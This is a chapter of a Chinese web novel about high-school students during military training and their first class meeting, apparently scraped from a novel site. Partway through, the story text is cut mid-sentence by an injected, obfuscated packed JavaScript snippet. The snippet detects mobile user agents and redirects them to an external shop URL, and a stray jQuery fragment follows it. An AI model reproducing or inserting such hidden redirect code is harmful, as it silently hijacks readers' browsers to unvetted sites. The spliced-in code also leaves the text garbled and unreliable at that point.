文趣网 > 都市小说 > 纸和笔加好天气 > 3. 第 3 章
    明天就要军训了,军训完就正式进入高中。

    想起小学数学考试因为没带单位扣掉一分,我觉得好可惜,可上初中的彧闻哥告诉我,他因为算错一步,做错一道选择题扣了3分。那时觉得3分好多,如果我上初中一定谨慎小心,做足万全准备,可是时间一晃,我已经无知无觉地过完了初中三年。

    后来又知道高中理综选择题6分一个,我觉得简直可怕,猜想就凭这么大的分值,高中开学也一定隆重无比,连天气都要昭彰几分,才配得上后来足以称之为改变人生的日子。但我其实又和之前一样,如此平静地看着它到来。

    所以我一次又一次地重复发现,那些我所以为的重要时刻,真正发生时却轻轻落地。

    ——节选自初希日记

    --

    二中的传统是初一军训9天,高一军训11天。

    天属市地处南方,即便是九月也酷热异常,紫外线尤其强烈。

    但校领导只觉得这是再好不过的事,既可以锻炼学生娇生惯养的□□,还可以磨练他们更娇生惯养的心灵,反正两辆救护车24小时在操场边停着待命,晕了的救过来再继续。

    反复烹炸,方出人才——这才是二中真正的校训。

    就这么暴晒了五日,到第六天中午吃饭那会,天终于有转阴的趋势。

    大家吃完饭在操场等着列队集合,都止不住地仰头看天,口里念念有词:“下雨下雨下雨......”

    下午只是有乌云遮挡,阳光没那么强烈,却迟迟不见落雨,等到晚饭时间,天色暗到已经看不见乌云,终于一声惊雷炸响,大雨瓢泼而下。

    操场已经待不了了,大家群起欢呼着往教室奔走。

    开学以来第一次到班,大家的位置都是随意坐。

    谭念在小卖部排队买水耽误了一些时间,到教室的时候位置已经被选得差不多了。

    她从后门进来一一瞧去,看见一个靠窗的女生旁边还有空位置,正要过去时再定睛一看,那人是初希——这种情况她知道,她旁边的位置一定是留给赵北棉的,没有其他任何可能。

    谭念最后在一个叫方斯蕊的女生旁边坐下,她军训的时候见过她,即便穿着又丑又大的迷彩服、戴着压塌头发的军训帽也能看出长得非常漂亮。

    个子高皮肤白,她不和其他女生一样绑马尾,而是绑一个高高的麻花辫,利落地垂在肩下,在人群中很有记忆点,打军体拳时教官特意让她做领队。

    谭念选她是因为她是外校来的,在这个学校还没有朋友,经常看她都是独来独往,坐她旁边没有被拒绝的风险。

    她和方斯蕊说了几句话,正巧看见赵北棉上完厕所回来,坐她斜后方的初希果然站起来招手喊她:“这里。”

    赵北棉开心地跑过去,初希移走她桌上用来占座的帽子,谭念拿余光看见这一切,暗自庆幸自己刚才没坐初希旁边,不然岂不是双方都尴尬。

    坐在教室里,大家才有一种当同学的实感,高中生活也在此刻间具象化了一些。

    郑一柄拿着罐冰镇可乐从后门溜进来,两眼一扫看见谭念,刚要开口说话,又瞧见她旁边的方斯蕊抱着一本习题册埋头算着什么,郑一柄俯身一看惊讶道:“我去,你这就开始学了?”

    是数学必修一习题册,看翻着的厚度已经被做了一小半,郑一柄联合四周的大家抵制:“非人哉。”

    谭念嫌他聒噪催他走:“少打扰人家美女。”

    郑一柄在初希前面的位置坐下,他喝着可乐转过身来,一脸严肃地问:“初希,你暑假是不是也学了?”

    自己没学固然心慌,但别人学了更让人心死。

    初希没事干,正翻着一本不知道是谁放在她桌上的一本《读者》看,闻言抬眼,诚实地点点头:“学了。”

    “你学了多少?”郑一柄紧张起来,“人家市34都预习了小一半,你不会整个高中课程都学了吧?”

    一旁的赵北棉听见重点来了精神:“谁市34?”

    郑一柄指指谭念旁边那个埋头做题的:“方斯蕊呗,初中一中的,我们花钱买过来的。”

    他嘿嘿一笑:“两个学校这回抢人那叫一个刺激,打起来打起来。”

    “你知道的倒挺多。”赵北棉忽地想到什么,往前凑了凑,又勾勾手指示意郑一柄往后靠一点,“那你知不知道江楫舟市第几?”

    郑一柄思考了半晌,抛出一个问题:“......江楫舟是谁?”

    赵北棉指了指最后排趴着睡觉的那个人。

    初希那天晚上就和赵北棉讲了赵锦淑和乔芦认识的事。

    赵北棉清楚她家的情况,听了一开始没说话,末了挤出笑安慰初希:“没事,你是你,她们是她们,你妈妈的事有你妈妈自己伤心,你就不要再去伤一次心了,很亏的。”

    “而且。”赵北棉扬起一个笑,“初小希你成绩肯定比江楫舟好。”

    初希当时摇摇头:“没有这个意思,我只是跟你说一下这个事情。”

    郑一柄此时顺着赵北棉指的方向回头,只虚虚看了一眼便明白她们说的是谁了。

    前两天晚上大家围坐在操场唱歌,趁着教官管的不严有几个男生偷溜去体育馆打了场球,江楫舟和郑一柄当时都在。

    郑一柄回想起这事,咂咂嘴勉强承认:“他球打得不错。”

    郑一柄没承认的是,他不仅球打得不错,还长了一张轻而易举沾花惹草的脸,站在军训队伍的最后排,经常有其他班的女生借着路过来看一眼,差点让他都自惭形秽。

    不过令郑一柄感到安慰的是,他是走读生,不住校,经常提着个花里胡哨的幼稚书包或亮晶晶的水壶出入校门,身份在有特殊癖好的变态和流口水的智障中摇摆,足以将送上门来的班草头衔一脚踹开。

    幸好幸好,郑一柄松一口气。

    赵北棉不满:“我问的是成绩,谁想知道打球怎么样。”

    其他学校排名靠前的,郑一柄或多或少都听过几句风言风语,可唯独是真没听说过这号人物。

    郑一柄斜乜赵北棉一眼:“问问问,你喜欢他啊?”

    赵北棉一口气噎在喉咙里,她和江楫舟目前为止没有什么交集,唯一一次是昨天站军姿。

    教官可能是有学校领导的授意,要特别“关照”实验班的学生,教官就跟歹毒后爹一样,一有人动就宣布加时十分钟。

    一个半小时过去,其他班都宣布原地休息了,教官还迟迟没有放过他们的意思。

    赵北棉实在受不了如同把人煎烤烹炸的烈日,准备选个吉时装晕,甚至连往后倒的角度都看好了以免误伤砸到后面的同学,却在一歪脖子一闭眼,在心里喊“预备备倒!”的前一秒,江楫舟比她先装晕了。

    有人一晕,第二个同学就不好下手,赵北棉连报告教官和抬病号的宝贵位置都没抢到,甚至连在旁边焦急地喊“怎么办怎么办”的气氛组都没轮到她,赵北棉硬生生继续在原位站了二十多分钟。

    于是赵北棉得以清楚看见这个姓江的坐在树荫下乘凉喝葡萄糖水,教官一面向他他就开始娇弱林黛玉上身“咳咳咳”,一背对他他就翘着二郎腿悠哉游哉一副好爽哉的样子。

    赵北棉要喜欢也是喜欢那些有本事在高考入围学校光荣榜的学长好么,才不会喜欢比她还先装晕的绿茶。

    赵北棉没有任何争辩的欲望,不打算再搭理郑一柄。

    作为八卦之神,郑一柄见她这个样子反倒更来劲了:“他是其他市转过来的学神,怎么样,是不是更崇拜了,更喜欢了?”

    赵北棉半信半疑:“真的假的?”

    郑一柄看她的反应嘻嘻笑,得知一个八卦心满意足,神神秘秘地转过头去了。

    本来教室里闹哄哄地,忽地一霎间大家跟心照不宣似的安静下来,原因是教室外传来一阵钥匙挂腰间走路发出的碰撞声,根据大家多年的读书经验,应该是有一名班主任逼近——无论是谁家的班主任。

    果不其然,几秒后随着钥匙碰撞声越来越清晰,谭嵘山的身影出现在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699966|208117||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    窗外,墙壁遮挡消失几秒后,人推开门走上了讲台。

    埋头刷题的自觉端正好坐姿,看书的也合起了书本。

    相比前两天的家长会,谭嵘山似乎是剪短了头发,露出了额头,看起来年轻了几分。

    他在讲台前坐下,做了个自我介绍,又提了几句家长会的情况,最后说到他的带班风格,总体来说比较自由,会给大家很大的自我空间,比如位置和同桌随便选,不过只能是同性,还比如每学年会申请一次额外的外出郊游机会,具体看大家表现。

    郑一柄小声跟旁边的人道:“这种看似管得很松的老师,最有两把刷子了。”

    第一次正式见面必然是要讲些事情的,谭嵘山没有回避他和谭念的关系,说到:

    “带了快三十年的文科班,只有两次来教理科。

    一次是今年这届,因为我女儿谭念,还有一次是六年前,因为我儿子谭煊。他的照片贴在进校那条林荫道的光荣展示栏上,当年考的是市理科第二,市第一也在我班上,我知道大多数人都知道,说这些多是给外校来的十四个同学讲一下来龙去脉。”

    “当时出分有人替我儿子觉得遗憾,差两分就是状元了,但这么多年过去了我再来教理科班,又觉得幸好是第二——这至少可以证明我没夹私心嘛,我没上课故意偷懒,回家再私下给我儿子开小灶补课。”

    因为这句话,大家发出一阵哄笑,掩盖了窗外疏落落的雨声。

    谭嵘山总结:“所以虽然谭念在我班上,大家也可以相信我,甚至是更可以相信我。”

    “不过比起信任我,更重要的是你们是否有真的信任的东西。前几天开家长会我也和你们的爸爸妈妈提到了,有的家长因为你们初次步入高中很惶恐,留下来问我最多的一个问题是,怎么提升你们的成绩?我反问他们,你们心里是否真的有想要的东西,无论是什么,有一件就行。”

    “'心的力量'是一个很重要的东西,你们甚至你们的爸妈,或许并不明白我在说什么,觉得我在顾左右而言他,但这是我向你们上的第一堂课,你们可以记住。”

    谭嵘山就这个问题发散又讲了许多,不过是初次见面打造班风的小演讲,大家也没多当回事,甚至有人在下面开始偷偷刷起了题。

    谭嵘山讲完后大家依次上台自我介绍,谭嵘山话锋一转道:“剩下的时间我们就选班委和课代表吧。”

    他一向提倡民主,鼓励大家先毛遂自荐其余人再投票:“我教数学,那就先从数学课代表开始。”

    话一出口,教室却陷入了安静。

    谭嵘山似是为了活跃气氛,眼神扫向谭念,道:“谭念,你来?”

    谭念原本双手规规矩矩地放在桌子上,一听,赶紧缩了缩头:“我不,我数学又不好。”

    “谁说数学不好就不能当课代表了,来试试,说不定大家看我的面子投你一票。”

    教室里有零星的笑声。

    谭念很坚定:“不要。”

    “你勇气呢?”

    “没勇气。”

    “你在家不是要和我竞选一家之主吗?”

    大家哄堂大笑,更有调皮的直接笑到锤墙,谭念脸一红,往课桌上一趴,不接话了。

    不过笑归笑,没一会儿还是归于一片安静。

    有压根对虚头八脑的名头不感兴趣的,也有喜欢数学想当数学课代表的,却碍于毛遂自荐这一条没那个胆子的,还有新进班级不知自己真实水准不敢去出丑的。

    心里想的无外乎是:枪打出头鸟这句话都听过吧,人家成绩更好的都没主动,你在蠢蠢欲动什么?就算现在当上了,以后考试考得还不如别人好,担着课代表这一名头自己不心虚么?

    郑一柄眼看冷场成这样,进度推不动,他背向后靠,贴近后排桌子的位置后略微侧头,小声拿气音恨铁不成钢地问初希:“快举手啊,你不说话方圆十里我们谁敢......”

    窗外的雨疏落落地下,他话没说完,就见初希婷婷地举起手来:“我。”